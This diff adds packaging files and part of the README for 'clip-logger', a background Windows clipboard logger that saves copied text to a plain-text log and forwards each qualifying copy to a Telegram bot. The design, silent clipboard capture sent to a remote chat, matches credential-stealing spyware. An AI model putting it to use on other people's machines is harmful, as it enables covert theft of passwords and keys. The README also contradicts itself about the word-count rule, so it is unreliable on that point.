+ Only copies whose content **changes** and has **exactly 5 words** are recorded.
122
+
123
+ ## Setup (.env)
124
+
125
+ Copy `.env.example` to `.env` and fill it in:
126
+
127
+ ```
128
+ TELEGRAM_BOT_TOKEN=123456:ABC-your-token
129
+ TELEGRAM_CHAT_ID=987654321
130
+ WORD_THRESHOLD=5
131
+ POLL_SECONDS=2.0
132
+ ```
133
+
134
+ Getting the Telegram values:
135
+
136
+ 1. Message **@BotFather** in Telegram → `/newbot` → copy the token.
137
+ 2. Send your new bot any message (e.g. "hi").
138
+ 3. Open `https://api.telegram.org/bot<YOUR_TOKEN>/getUpdates` and copy
139
+ the `"chat":{"id": ...}` number into `TELEGRAM_CHAT_ID`.
140
+
141
+ If the token/chat id are blank, it still logs to file — it just skips
142
+ sending Telegram messages.
143
+
144
+ ## Telegram message
145
+
146
+ On each qualifying copy you'll receive:
147
+
148
+ ```
149
+ 📋 Clipboard (6 words)
150
+ 2026-06-05T13:19:45-07:00
151
+
152
+ alpha beta gamma delta epsilon zeta
153
+ ```
154
+
155
+ ## Settings
156
+
157
+ - `WORD_THRESHOLD` — minimum word count to log (default `5`)
158
+ - `POLL_SECONDS` — how often the clipboard is checked (default `2.0`)
159
+
160
+ ## Note
161
+
162
+ The log stores the **full copied text**, which can include sensitive data
163
+ (passwords, keys, etc.). It lives in plain text at `clipboard_log.jsonl` —
164
+ keep that in mind, and delete it when you don't need the history.
@@ -0,0 +1,13 @@
1
+ LICENSE
2
+ MANIFEST.in
3
+ README.md
4
+ clip_logger.py
5
+ pyproject.toml
6
+ clip_logger/__init__.py
7
+ clip_logger/__main__.py
8
+ clip_logger/env.example
9
+ clip_logger.egg-info/PKG-INFO
10
+ clip_logger.egg-info/SOURCES.txt
11
+ clip_logger.egg-info/dependency_links.txt
12
+ clip_logger.egg-info/entry_points.txt
13
+ clip_logger.egg-info/top_level.txt
@@ -0,0 +1,2 @@
1
+ [console_scripts]
2
+ clip-logger = clip_logger:main
@@ -0,0 +1 @@
1
+ clip_logger
@@ -0,0 +1,6 @@
1
+ #!/usr/bin/env python3
2
+ """Backward-compatible launcher. Install with: pip install clip-logger"""
3
+ from clip_logger import main
4
+
5
+ if __name__ == "__main__":
6
+ main()
@@ -0,0 +1,37 @@
1
+ [build-system]
2
+ requires = ["setuptools>=61", "wheel"]
3
+ build-backend = "setuptools.build_meta"
4
+
5
+ [project]
6
+ name = "clip-logger"
7
+ version = "1.0.0"
8
+ description = "Background Windows clipboard logger — records copies of exactly N words"
9
+ readme = "README.md"
10
+ requires-python = ">=3.9"
11
+ license = "MIT"
12
+ authors = [{name = "clip-logger contributors"}]
13
+ keywords = ["clipboard", "logger", "windows", "telegram", "monitor"]
14
+ classifiers = [
15
+ "Development Status :: 4 - Beta",
16
+ "Environment :: Console",
17
+ "Intended Audience :: Developers",
18
+ "Operating System :: Microsoft :: Windows",
19
+ "Programming Language :: Python :: 3",
20
+ "Programming Language :: Python :: 3.9",
21
+ "Programming Language :: Python :: 3.10",
22
+ "Programming Language :: Python :: 3.11",
23
+ "Programming Language :: Python :: 3.12",
24
+ "Topic :: System :: Monitoring",
25
+ "Topic :: Utilities",
26
+ ]
27
+
28
+ [project.scripts]
29
+ clip-logger = "clip_logger:main"
30
+
31
+ [tool.setuptools.packages.find]
32
+ where = ["."]
33
+ include = ["clip_logger*"]
34
+ exclude = ["paste-share*", "tests*"]
35
+
36
+ [tool.setuptools.package-data]
37
+ clip_logger = ["env.example"]
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+